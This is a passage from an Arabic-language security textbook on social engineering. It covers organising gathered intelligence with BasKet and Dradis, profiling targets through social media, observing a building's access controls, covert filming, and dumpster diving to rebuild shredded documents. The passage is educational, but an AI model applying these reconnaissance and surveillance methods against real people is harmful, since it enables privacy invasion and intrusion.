‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬ﺟﻣﯾﻊ اﻟزواﯾﺎ ھﻲ ذات أھﻣﯾﺔ ﺣﯾوﯾﺔ ﻟﻔﮭم وﻣن ﺛم اﻻﺳﺗﺧدام اﻟﻔﻌﺎل‪ .‬ﻟﻠﻌودة إﻟﻰ اﻟﺗوﺿﯾﺢ اﻟﻣﺳﺗﺧدﻣﺔ ﻣن ﻗﺑل ﻋﻠﻰ ان‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾن ﻛﺎﻟطﮭﺎة‪ ،‬ﻟﻛﻲ ﯾﻛون اﻟطﺎھﻲ ﺟﯾدا ﻓﺎﻧﮫ ﯾﻌرف ﻛل ﺷﻲء ﻋن ﻛﯾﻔﯾﺔ اﻛﺗﺷﺎف اﻟﻣﻧﺗﺟﺎت ذات اﻟﻧوﻋﯾﺔ اﻟﺟﯾدة واﻟﺧﺿراوات‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪798‬‬

‫اﻟطﺎزﺟﺔ‪ ،‬واﻟﻠﺣوم ذات اﻟﺟودة‪ .‬وھم ﻋﻠﻰ دراﯾﺔ ﺑﺎي ﻣن اﻟﺗواﺑل ﯾﺳﺗﺧدﻣوﻧﮭﺎ‪ ،‬وﻟﻛن ﻋﻠﻰ ﺣﺳب اﻟﻛﻣﯾﺎت اﻟﻣﺳﺗﺧدﻣﺔ ﻗد ﯾﻛون ﻟطﯾﻔﺎ ﺟدا أو‬
‫ﻗوﯾﺎ ﺟدا أو ﻟﯾﺳت ﺟﯾدة ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﺗﻧﺎول اﻟطﻌﺎم ﻋﻠﻰ اﻹطﻼق‪ .‬ﺑﺑﺳﺎطﺔ اﻟﻌﻠم ﺑﺎﻟﺗواﺑل اﻟﻣﺳﻣﺎة اﻟﻣﻠﺢ ﻻ ﺗﺟﻌﻠك طﺎھﯾﺎ‪ ،‬وﻟﻛن ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ‬
‫اﻟﺧﻠط ﻓﻲ ﻛﻣﯾﺔ ﻣﺣدده ﻣﻊ أﻧواع ﻣن اﻟﻣﻛوﻧﺎت اﻷﺧرى ﯾﻣﻛﻧﮭﺎ أن ﺗﺳﺎﻋدك ﻋﻠﻰ إﺗﻘﺎن ﻓن اﻟطﮭﻲ‪ .‬ﯾﺣﺗﺎج اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻹﺗﻘﺎن ﻧوع‬
‫وﻛﻣﯾﺔ ﻣن اﻟﻣﮭﺎرات اﻟﻼزﻣﺔ ﻻﺳﺗﺧداﻣﮭﺎ‪ .‬ﻋﻧدﻣﺎ ﯾﺗم ذﻟك ﻓﺈﻧﮭﺎ ﯾﻣﻛن أن ﺗﺻﺑﺢ ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﯾﺳﺎﻋد ھذا اﻟﺟزء ﻋﻠﻰ ﺗﺣدﯾد ھذا اﻟﺗوازن‪ .‬اﻟﻌﻧﺻر اﻷول ﻓﻲ أي وﺻﻔﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ اﻟﻣﻌﻠوﻣﺎت‪ .‬وارﺗﻔﺎع ﺟودة اﻟﻣﻌﻠوﻣﺎت‬
‫ﺗرﺟﺢ ﻛﺎﻓﺔ ﺗﺣﻘﯾﻖ اﻟﻧﺟﺎح‪ .‬ﯾﺑدأ ھذا اﻟﺟزء ﺑﻣﻧﺎﻗﺷﺔ ﻛﯾﻔﯾﺔ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ .‬ﺑﻌد ذﻟك ﯾﻧﺗﻘل إﻟﻰ ﻣﻧﺎﻗﺷﺔ ﻣﺎ اﻟﻣﺻﺎدر اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻟﺟﻧﻲ‬
‫اﻟﻣﻌﻠوﻣﺎت‪ .‬ھذا اﻟﻔﺻل ﻟن ﯾﻛون ﻛﺎﻣﻼ ﻣن دون ﻣﻧﺎﻗﺷﺔ ﻛﯾﻔﯾﺔ رﺑط ﻛل ذﻟك ﻣﻌﺎ واﻻﺳﺗﻔﺎدة ﻣن ھذه اﻟﻣوارد ﺑﺎﻋﺗﺑﺎرك ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬

‫ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‬
‫ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻣﺛل ﺑﻧﺎء ﻣﻧزل‪ .‬إذا ﺣﺎوﻟت اﻟﺑدء ﺑﻌﻣل ﺳﻘف ﻣﻧزﻟك ﺑﺎﻟﺗﺄﻛﯾد ﺳوف ﺗﻔﺷل‪ .‬اﻟﻣﻧزل اﻟﺟﯾد ﺳﯾﺗم ﺑﻧﺎﺋﮫ ﺑﺎﺳﺗﺧدام ﻗﺎﻋدة ﺻﻠﺑﺔ وﻣن‬
‫ھﻧﺎ ﺳﯾﺗم ﺑﻧﺎؤه ﺣرﻓﯾﺎ ﻣن اﻷﻟف إﻟﻰ اﻟﯾﺎء‪ .‬ﻛﻣﺎ ﺗﻘوم ﺑﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻗد ﺗﻛون ﻏﺎرﻗﺎ ﻋن ﻛﯾﻔﯾﺔ اﻟﺗﻧظﯾم وﻣن ﺛم اﺳﺗﺧدام ھذه اﻟﺑﯾﺎﻧﺎت‪.‬‬
‫ﺗوﺟد اﻟﻌدﯾد ﻣن اﻷدوات ﻟﻠﻣﺳﺎﻋدة ﻓﻲ ﺟﻣﻊ واﺳﺗﺧدام ھذه اﻟﺑﯾﺎﻧﺎت‪ .‬ﯾطﻠﻖ ﻋﻠﻰ اﺛﻧﯾن ﻣن اﻷدوات واﻟﺗﻲ ھﻲ ﻣﻔﯾدة ﺑﺷﻛل ﺧﺎص ﻟﺟﻣﻊ‬
‫اﻟﻣﻌﻠوﻣﺎت وﺗﺧزﯾﻧﮭﺎ ھﻣﺎ ‪ Dradis‬و‪ .BasKet‬اﻟﻣﻘﺎطﻊ اﻟﺗﺎﻟﯾﺔ ﻧﻠﻘﻲ ﻧظرة ﺳرﯾﻌﺔ ﻋﻠﻰ ﻛل ﻣﻧﮭﻣﺎ‪.‬‬
‫‪Basket‬‬

‫اﻟﻣﺻدر‪http://basket.kde.org :‬‬
‫‪ BasKet‬ﺗﻣﺎﺛل ﻓﻲ وظﺎﺋﻔﮭﺎ ‪ ،Notepad‬وﻟﻛن ﻣﻊ وظﺎﺋف أﻛﺛر‪ .‬ﻣﺗوﻓر ﻓﻲ ﻧظﺎم اﻟﺗﺷﻐﯾل ﻛﺎﻟﻲ‪ .‬ﺑﻣﺟرد ﺗرﻛﯾب ‪ BasKet‬ﻓﺎﻧﮫ ﺳﮭل ﻓﻲ‬
‫اﻻﺳﺗﺧدام وذات واﺟﮭﺔ رﺳوﻣﯾﮫ ﻟﯾﺳت ﻣن اﻟﺻﻌب ﻓﮭﻣﮭﺎ‪.‬‬
‫ﻣن ﺧﻼل اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ ،‬واﺟﮭﺔ ﻣن اﻟﺳﮭل اﺳﺗﺧداﻣﮭﺎ‪ .‬ﻹﺿﺎﻓﺔ "‪ "BasKet‬ﺟدﯾد وذﻟك ﻹﺿﺎﻓﺔ ﺑﯾﺎﻧﺎت ﻧﻘوم ﺑﺑﺳﺎطﮫ ﺑﺎﻟﻧﻘر ﺑزر اﻟﻣﺎوس اﻷﯾﻣن‬
‫ﻋﻠﻰ اﻟﺟﺎﻧب اﻷﯾﺳر ﻣن اﻟﺷﺎﺷﺔ واﺧﺗﯾﺎر ‪.New Basket‬‬
‫ﺑﻣﺟرد اﺧﺗﯾﺎر ‪ .New Basket‬ﯾﻣﻛﻧك ﻧﺳﺦ وﻟﺻﻖ اﻟﺑﯾﺎﻧﺎت‪ ،‬وإﺿﺎﻓﺔ ﻟﻘطﺎت اﻟﺷﺎﺷﺔ‪ ،‬أو ﺣﺗﻰ رﺑطﮭﺎ ﺑﺄوﺑن أوﻓﯾس أو أي أﻧواع أﺧرى ﻣن‬
‫اﻟﺧراﺋط واﻟرﺳوم اﻟﺑﯾﺎﻧﯾﺔ‪ ،‬وﻏﯾرھﺎ ﻣن اﻻدوات‪ BasKet .‬ﯾﺳﻣﺢ ﻟك ﺑﺗﻧظﯾم اﻟﺑﯾﺎﻧﺎت اﻟﺗﻲ ﻋﺛر ﻋﻠﯾﮭﺎ أﺛﻧﺎء ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﺑﺳﮭوﻟﮫ‪.‬‬

‫ﯾﻣﻛن إﺿﺎﻓﺔ ‪ screenshot‬ﻣﻊ ﻋدد ﻗﻠﯾل ﻣن اﻟطرق‪ .‬أﺳﮭﻠﮭﺎ ﻧﺳﺦ اﻟﺻورة ﺛم اﻟﻧﻘر ﺑزر اﻟﻣﺎوس اﻷﯾﻣن ﻋﻠﻰ ‪ new Basket‬وﻣن ﺛم اﻟﻧﻘر‬
‫ﻓوق ‪ .paste‬اﻟﻣﻼﺣظﺎت ﯾﻣﻛن ﻛﺗﺎﺑﺗﮭﺎ ﺑﺑﺳﺎطﺔ ﻋن طرﯾﻖ اﻟﻧﻘر ﻋﻠﻰ ‪ new Basket‬واﻟﺑدء ﻓﻲ اﻟﻛﺗﺎﺑﺔ‪.‬‬
‫ﻣﺎ ﯾﺟﻌل ‪ Basket‬ﺟذاﺑﺔ ھﻲ طرﯾﻘﺗﮫ ﻓﻲ ﻋرض ﻛﺗﺎﻟوﺟﺎت اﻟﺑﯾﺎﻧﺎت وإظﮭﺎره ﻋﻠﻰ اﻟﺷﺎﺷﺔ‪ .‬ﻋﺎدة ﻣﺎ أﺿﯾف ‪ Basket‬ﻣﺧﺗﻠﻔﺔ ﻟﻛل ﻧوع ﻣن‬
‫اﻟﺑﯾﺎﻧﺎت ﻣﺛل ‪ ،Whois‬اﻟوﺳﺎﺋط اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬وھﻠم ﺟرا‪ .‬ﺑﻌد ذﻟك‪ ،‬ﺳﺄﻗوم ﺑﺎﺳﺗﺧدام ﺧراﺋط ﺟوﺟل أو ‪ Google Earth‬ﻻﻟﺗﻘﺎط ﺑﻌض اﻟﺻور‬
‫ﻟﺑﻧﺎء اﻟﻌﻣﯾل أو اﻟﻣﻧظﻣﺔ‪ ،‬وﻣن ﺛم ﺗﺧزﯾﻧﮭﺎ ﻛذﻟك ﻓﻲ ‪ .Basket‬وذﻟك ﺣﺗﻰ ﺗﻛون ﻗﺎدرة ﻋﻠﻰ ﺳﺣب ﻣﺎ ﯾﺻل واﻻﺳﺗﻔﺎدة ﻣن ھذه اﻟﻣﻌﻠوﻣﺎت‬
‫ﺑﺳرﻋﺔ‪.‬‬
‫‪Dradis‬‬

‫اﻟﻣﺻدر‪http://dradisframework.org :‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪799‬‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن أن ‪ BasKet‬ھﻲ أداة ﻋظﯾﻣﺔ‪ ،‬إذا ﻛﻧت ﺗرﯾد ﺟﻣﻊ اﻟﻛﺛﯾر ﻣن اﻟﻣﻌﻠوﻣﺎت‪ ،‬أو إذا ﻛﻧت ﺗﻌﻣل ﻓﻲ اﻟﻔرﯾﻖ ﯾﺣﺗﺎج إﻟﻰ ﺟﻣﻊ‬
‫وﺗﺧزﯾن واﺳﺗﺧدام اﻟﺑﯾﺎﻧﺎت‪ ،‬ﺣﯾث ھذه اﻷداة ﺗﺳﻣﺢ ﻟﺗﻘﺎﺳم اﻟﻣﻌﻠوﻣﺎت ﺑﯾن اﻟﻣﺳﺗﺧدﻣﯾن‪ .‬ھذه اﻷداة ﻣﺗوﻓرة ﻟﺟﻣﯾﻊ أﻧظﻣﺔ اﻟﺗﺷﻐﯾل ﻟﯾﻧﻛس‪،‬‬
‫ﯾوﻧﻛس‪ ،‬وﯾﻧدوز‪.‬‬
‫ﺑﻣﺟرد ﺗﺛﺑﯾت ‪ ،Dradis‬ﯾﻣﻛﻧك ﺑﺑﺳﺎطﺔ اﺳﺗﻌرﺿﮫ ﻋن طرﯾﻖ اﻟوﺻول إﻟﻰ اﻟﻣﺿﯾف اﻟﻣﺣﻠﻲ واﻟﻣﻧﻔذ اﻟذي ﻗﻣت ﺑﺗﻌﯾﯾﻧﮫ‪ ،‬أو اﺳﺗﺧدام اﻟﻣﻧﻔذ‬
‫اﻟﻣﻌﯾﺎري ‪ .3004‬ﯾﻣﻛﻧك اﻟﻘﯾﺎم ﺑذﻟك ﻋن طرﯾﻖ ﻓﺗﺢ اﻟﻣﺗﺻﻔﺢ وﻛﺗﺎﺑﺔ ‪.https://localhost:3004/‬‬

‫‪ Dradis‬و ‪ BasKet‬ھﻣﺎ ﻣﺟرد أدوات ﺗﺳﺗﺧدم ﻟﺟﻣﻊ وﺗﺧزﯾن اﻟﺑﯾﺎﻧﺎت‪ .‬أﯾﺎ ﻛﺎن ﻧظﺎم اﻟﺗﺷﻐﯾل اﻟذي ﺗﺳﺗﺧدﻣﮫ ﻣﺎك‪ ،‬وﯾﻧدوز‪ ،‬أو ﻟﯾﻧﻛس ھﻧﺎك‬
‫ﺧﯾﺎرات ﺑﺎﻟﻧﺳﺑﺔ ﻟك‪ .‬ﻣﺎ ھو ﻣﮭم ھو اﺳﺗﺧدام اﻷداة اﻟﺗﻲ ﺗﻛون ﻣرﺗﺎﺣﺎ ﻟﮭﺎ واﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ اﻟﺗﻌﺎﻣل ﻣﻊ ﻛﻣﯾﺎت ﻛﺑﯾرة ﻣن اﻟﺑﯾﺎﻧﺎت‪.‬‬
‫ھذه اﻷدوات ﺗﺷﯾر إﻟﻰ ﻛﯾف ﯾﺑدأ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻼﺳﺗﻔﺎدة ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺟﻣﻌﮭﺎ‪ .‬اﻟﻣرﺣﻠﺔ اﻷوﻟﻰ ﻣن اﻻﺳﺗﻔﺎدة ﻣن ھذه اﻟﻣﻌﻠوﻣﺎت‬
‫اﻟﺗﻲ ﺗم ﺟﻣﻌﮭﺎ ھو اﻟﺗﻔﻛﯾر ﻣﺛل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬

‫اﻟﺗﻔﻛﯾر ﻣﺛل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ )‪(Thinking Like A Social Engineer‬‬

‫اﻣﺗﻼﻛك ﻟﺑﺿﻊ ﻣﺋﺎت اﻟﻣﯾﺟﺎﺑﺎﯾت ﻣن اﻟﺑﯾﺎﻧﺎت واﻟﺻور ﺷﻲء ﻋظﯾم‪ ،‬وﻟﻛن ﻋﻧد ﺑدء ﻣراﺟﻌﺔ ذﻟك‪ ،‬ﻛﯾف ﯾﻣﻛﻧك ﺗدرﯾب ﻧﻔﺳك ﻟﻣراﺟﻌﺔ وﻣن ﺛم‬
‫اﻟﺗﻔﻛﯾر ﻓﻲ اﻟﺑﯾﺎﻧﺎت ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﻟدﯾﮭﺎ أﻗﺻﻰ ﻗدر ﻣن اﻟﺗﺄﺛﯾر؟‬
‫ﺑﺎﻟطﺑﻊ ﯾﻣﻛﻧك ﻓﻘط ﻓﺗﺢ اﻟﻣﺗﺻﻔﺢ واﻟﻘﯾﺎم ﺑﺎﻟﺑﺣث اﻟﻌﺷواﺋﻲ واﻟﺗﻲ ﻗد ﺗؤدي إﻟﻰ ﺷﻛل ﻣن أﺷﻛﺎل اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﻗد ﯾﻛون ﺑﻌﺿﮭﺎ ﺣﺗﻰ ﻣﻔﯾد‪ .‬إذا‬
‫ﻛﻧت ﺟﺎﺋﻌﺎ رﺑﻣﺎ ﺗذھب إﻟﻰ اﻟﻣطﺑﺦ وﺗﺑدأ ﻓﻲ رﻣﻲ ﻛل ﻣﺎ ﺗرى ﻣن اﻟﻣﻛوﻧﺎت ﻓﻲ وﻋﺎء وﻟﻛن ﻟﯾس ھذا ﻛل ﺷﻲء ﻓﺈﻧك ﺗﺣﺗﺎج اﻟﻰ اﻟﺗﺧطﯾط‪،‬‬
‫واﻹﻋداد‪ ،‬ﺣﺗﻰ ﺗﻧﺗﺞ وﺟﺑﮫ ﺟﯾده ﯾﻣﻛن أﻛﻠﮭﺎ‪ .‬ﻣﻣﺎﺛﻠﺔ ﻟﺗﻧﺎول وﺟﺑﺔ ﺣﻘﯾﻘﯾﺔ‪ ،‬ﯾﺣﺗﺎج اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﺗﺧطﯾط‪ ،‬واﻹﻋداد‪ ،‬واﻟﺗﻔﻛﯾر ﻓﯾﻣﺎ ھﻲ‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺳﯾﺣﺎول اﻟﺣﺻول ﻋﻠﯾﮭﺎ وﻛﯾف ﺳوف ﯾﺣﺻل ﻋﻠﯾﮭﺎ‬
‫ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﮭذه اﻟﺧطوة اﻟﺣﯾوﯾﺔ ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﻧﺎس ﺳوف ﺗﺿطر إﻟﻰ ﺗﻐﯾﯾر طرﯾﻘﺔ ﺗﻔﻛﯾرھم‪ .‬ﻋﻠﯾك أن ﺗﻘﺗرب ﻣن ﻋﺎﻟم‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟذي أﻣﺎﻣك ﻣﻊ اﻟرأي اﻟﻣﺧﺗﻠف واﻟﻌﻘﻠﯾﺔ ﻣﻣﺎ ﺗﻛون ﻟدﯾك ﻋﺎدة‪ .‬ﻋﻠﯾك أن ﺗﺗﻌﻠم ﻻﺳﺗﺟواب ﻛل ﺷﻲء‪ ،‬وﻋﻧدﻣﺎ ﺗرى ﻗطﻌﺔ ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﺗﻌﻠم اﻟﺗﻔﻛﯾر ﻓﻲ اﻷﻣر ﻛﻣﺎ ﯾﻔﻌل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗطرح ﺑﮭﺎ اﻷﺳﺋﻠﺔ ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت أو ﻣن ﻣﺻﺎدر أﺧرى‬
‫ﯾﺟب أن ﺗﺗﻐﯾر‪ .‬اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗرى ﻓﯾﮭﺎ اﻹﺟﺎﺑﺎت اﻟﺗﻲ ﺗﻌود أﻟﯾك ﯾﺟب أﯾﺿﺎ أن ﺗﻐﯾﯾر‪ .‬اﻟﺗﻧﺻت ﻋﻠﻰ اﻟﻣﺣﺎدﺛﺎت‪ ،‬ﻗراءة ﻣﺎ ﯾﺑدو وﻛﺄﻧﮫ ﺑوﺳت‬
‫)ﺗﻌﻠﯾﻖ( ﺑﻼ ﻣﻌﻧﻰ ﻓﻲ ﻣﻧﺗدى‪ ،‬ورؤﯾﺔ ﻛﯾس ﻣن اﻟﻘﻣﺎﻣﺔ ﯾﺟب اﺳﺗﯾﻌﺎب اﻟﻣﻌﻠوﻣﺎت ﺑطرﯾﻘﺔ ﻣﺧﺗﻠﻔﺔ ﻣﻣﺎ ﻓﻌﻠت ﻣن ﻗﺑل‪ .‬ﻋﻧد اﻟﻌﺛور ﻋﻠﻰ ھدف‬
‫ﯾﺳﺗﺧدم اﻟﻌدﯾد ﻣن ﻣواﻗﻊ وﺳﺎﺋل اﻻﻋﻼم اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺧﺗﻠﻔﺔ‪ ،‬ﻓﻘم ﺑﺎﻟﺑﺣث ﻋن اﻟرواﺑط ﺑﯾﻧﮫ وﺑﯾن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن أن ﺗﺧﻠﻖ ﻟﻣﺣﺔ ﻛﺎﻣﻠﺔ‬
‫ﻋﻧﮫ‪.‬‬

‫اﺳﺗﺧدام ﻗوة اﻟﻣﻼﺣظﺔ‬

‫ﯾﻣﻛن ﻟﻣﻼﺣظﺔ ﺑﺳﯾطﺔ ان ﺗﺧﺑرك اﻟﻛﺛﯾر ﻋن اﻟﮭدف‪ .‬ﻣﺛﻼ ھل ﯾﺳﺗﺧدم ﻣوظﻔﻲ اﻟﺷرﻛﺔ اﻟﮭدف اﻟﻣﻔﺎﺗﯾﺢ‪ ،‬ﺑطﺎﻗﺎت ‪ ،RFID‬أو أي وﺳﺎﺋل أﺧرى‬
‫ﻟدﺧول اﻟﻣﺑﻧﻰ؟ ھل ھﻧﺎك ﻣﻧطﻘﺔ ﻣﺧﺻﺻﺔ ﻟﻠﺗدﺧﯾن؟ ھل ﻣﻧطﻘﺔ اﻟﻧﻔﺎﯾﺎت ﻣؤﻣﻧﮫ‪ ،‬ھل ﯾﻣﻠك اﻟﻣﺑﻧﻰ ﻛﺎﻣﯾرات ﺧﺎرﺟﯾﺔ؟ اﻷﺟﮭزة اﻟﺧﺎرﺟﯾﺔ ﻣﺛل‬
‫إﻣدادات اﻟطﺎﻗﺔ أو وﺣدات ﺗﻛﯾﯾف اﻟﮭواء ﻋﺎدة ﻣﺎ ﺗﻛﺷف ﻋن اﻟﺷرﻛﺔ اﻟﻣﻘدﻣﺔ ﻟﮭذه اﻟﺧدﻣﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪800‬‬

‫ھذه ﻟﯾﺳت ﺳوى ﻋدد ﻗﻠﯾل ﻣن اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﯾﻣﻛﻧك اﻟﺣﺻول ﻋﻠﻰ إﺟﺎﺑﺎت ﻟﮭﺎ ﻣن ﺧﻼل اﻟﻣﻼﺣظﺔ‪ .‬ﯾﻣﻛن أﺧذ ﺑﻌض اﻟوﻗت ﻟﻣﺷﺎھدة اﻟﮭدف‪،‬‬
‫ﺗﺳﺟﯾل ﻓﯾﻠم ﺑﺎﺳﺗﺧدام ﻛﺎﻣﯾرا ﺧﻔﯾﺔ‪ ،‬وﻣن ﺛم دراﺳﺔ وﺗﺣﻠﯾل اﻟﻣﻌﻠوﻣﺎت ﻓﻲ وﻗت ﻻﺣﻖ ﻟﯾﻌﻠﻣك اﻟﻛﺛﯾر وﯾﻌطﻲ اﻟﻣﻌﻠوﻣﺎت اﻟﺧﺎﺻﺔ ﺑك‪.‬‬

‫ﺻﻧﺎدﯾﻖ اﻟﻘﻣﺎﻣﺔ‬

‫ﻋﻠﻰ اﻟرﻏم ﻣن اﻟﺻﻌب ﺗﺻور اﻟﻘﻔز ﻓﻲ ﺳﻠﺔ اﻟﻣﮭﻣﻼت‪ ،‬وﻟﻛﻧﮫ ﯾﻣﻛن ان ﯾﻧﺗﺞ واﺣدة ﻣن اﻟﻣﻛﺎﻓﺂت اﻷﻛﺛر رﺑﺣﺎ ﻟﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻟﻧﺎس ﻓﻲ‬
‫ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﺗرﻣﻲ اﻟﻔواﺗﯾر واﻹﺷﻌﺎرات واﻟرﺳﺎﺋل واﻷﻗراص اﻟﻣدﻣﺟﺔ وأﺟﮭزة اﻟﻛﻣﺑﯾوﺗر‪ ،‬وﻣﻔﺎﺗﯾﺢ ‪ ،USB‬وﻋدد ﻛﺑﯾر ﻣن اﻷﺟﮭزة‬
‫وﻏﯾرھﺎ ﻣن اﻟﺗﻘﺎرﯾر اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻌطﻲ ﺣﻘﺎ ﻛﻣﯾﺎت ﻣذھﻠﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬

‫أﺣﯾﺎﻧﺎ ﺗﻘوم اﻟﺷرﻛﺎت ﺑرﻣﻲ اﻟوﺛﺎﺋﻖ اﻟﺗﻲ ﯾروﻧﮭﺎ ﻋﻠﻰ أﻧﮭﺎ ﻣﮭﻣﺔ ﺟدا‪ ،‬وﻟﻛﻧﮭم ﯾﺳﺗﺧدﻣﺎ اﻟﺔ اﻟﺗﻘطﯾﻊ واﻟﺗﻲ ﺗﺗرك اﻟورﻗﺔ ﻣن اﻟﺳﮭل ﺟدا وﺿﻌﮭﺎ‬
‫ﻣﻌﺎ ﻣرة أﺧرى‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬

‫ھذه اﻟﺻورة ﺗظﮭر ﺑﻌض اﻟوﺛﺎﺋﻖ ﺑﻌد ﺗﻣزﯾﻘﮭﺎ‪ ،‬وﻟﻛن ﺑﻌض اﻟﻛﻠﻣﺎت ﺑﺄﻛﻣﻠﮭﺎ ﻻ ﺗزال ﻣﻠﺣوظﮫ‪ .‬ھذا اﻟﻧوع ﻣن اﻟﺗﻘطﯾﻊ ﯾﻣﻛن ﺟﻣﻌﮫ ﻣرة اﺧرى‬
‫ﻣﻊ اﻟﻘﻠﯾل ﻣن اﻟوﻗت واﻟﺻﺑر وﺑﻌض ﻣن اﻟﺷرﯾط اﻻﺻﻖ‪ .‬ﯾﻣﻛن ﻟﮭذه اﻟوﺛﺎﺋﻖ اﻟﺗﻲ ﯾﻣﻛن ﺗﺟﻣﯾﻌﮭﺎ ﺟزﺋﯾﺎ ﻣرة أﺧرى أن ﺗﻛﺷف ﻋن ﺑﻌض‬
‫اﻟﻣﻌﻠوﻣﺎت اﻟﻣدﻣرة ﺟدا‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪801‬‬

‫‪ 9.2‬ﺗﻘﻨﯿﺎت اﻟﮭﻨﺪﺳﺔ اﻻﺟﺘﻤﺎﻋﯿﺔ )‪(SOCIAL ENGINEERING TECHNIQUES‬‬

‫ﺣﺗﻰ اﻵن‪ ،‬ﻟﻘد ﻧﺎﻗﺷﻧﺎ ﻣﺧﺗﻠف ﻣﻔﺎھﯾم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﻛﯾف ﯾﻣﻛن اﺳﺗﺧدام اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺷن ھﺟﻣﺎت ﺿد اﻟﻣﻧظﻣﺔ‪ .‬اﻵن ﺳوف‬
‫ﻧﻧﺎﻗش ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬وﻟﻛن ﻗﺑل ھذا ﺳوف ﻧﺗﺣدث ﻋن اﻻﺗﺻﺎﻻت وﻛﯾﻔﯾﺔ ﻗﯾﺎﻣﮭﺎ ﺑﯾن اﺛﻧﯾن ﻣن اﻷﺷﺧﺎص‪.‬‬

‫ﻧﻣوذج اﻻﺗﺻﺎﻻت )‪(Communication Modeling‬‬

‫اﻟﺗواﺻل ھو ﻋﺑﺎره ﻋن ﻋﻣﻠﯾﺔ ﻧﻘل اﻟﻣﻌﻠوﻣﺎت ﻣن ﻛﯾﺎن واﺣد إﻟﻰ آﺧر‪ .‬اﻻﺗﺻﺎﻻت ﺗﺳﺗﻠزم اﻟﺗﻔﺎﻋل ﺑﯾن اﺛﻧﯾن ﻋﻠﻰ اﻷﻗل ﻣن اﻟﻌﻣﻼء‪ ،‬وﯾﻣﻛن‬
‫أن ﯾﻧظر إﻟﯾﮭﺎ ﺑﺎﻋﺗﺑﺎرھﺎ ﻋﻣﻠﯾﺔ ذات اﺗﺟﺎھﯾن ﺣﯾث ھﻧﺎك ﺗﺑﺎدل ﻟﻠﻣﻌﻠوﻣﺎت وﺗطور اﻷﻓﻛﺎر واﻟﻣﺷﺎﻋر واﻷﻓﻛﺎر أو ﻧﺣو ھدف ﻗﺑول ﻣﺗﺑﺎدل أو‬
‫اﻻﺗﺟﺎه‪.‬‬
‫ھذا اﻟﻣﻔﮭوم ھو ﻣﺷﺎﺑﮫ ﺟدا ﻟﺗﻌرﯾف اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﺑﺎﺳﺗﺛﻧﺎء اﻻﻓﺗراض ھو أن اﻟﻣﺗورطﯾن ﻓﻲ اﻻﺗﺻﺎﻻت ﻟدﯾﮭﺎ ﺑﺎﻟﻔﻌل ھدف ﻣﺷﺗرك‪ ،‬ﻓﻲ‬
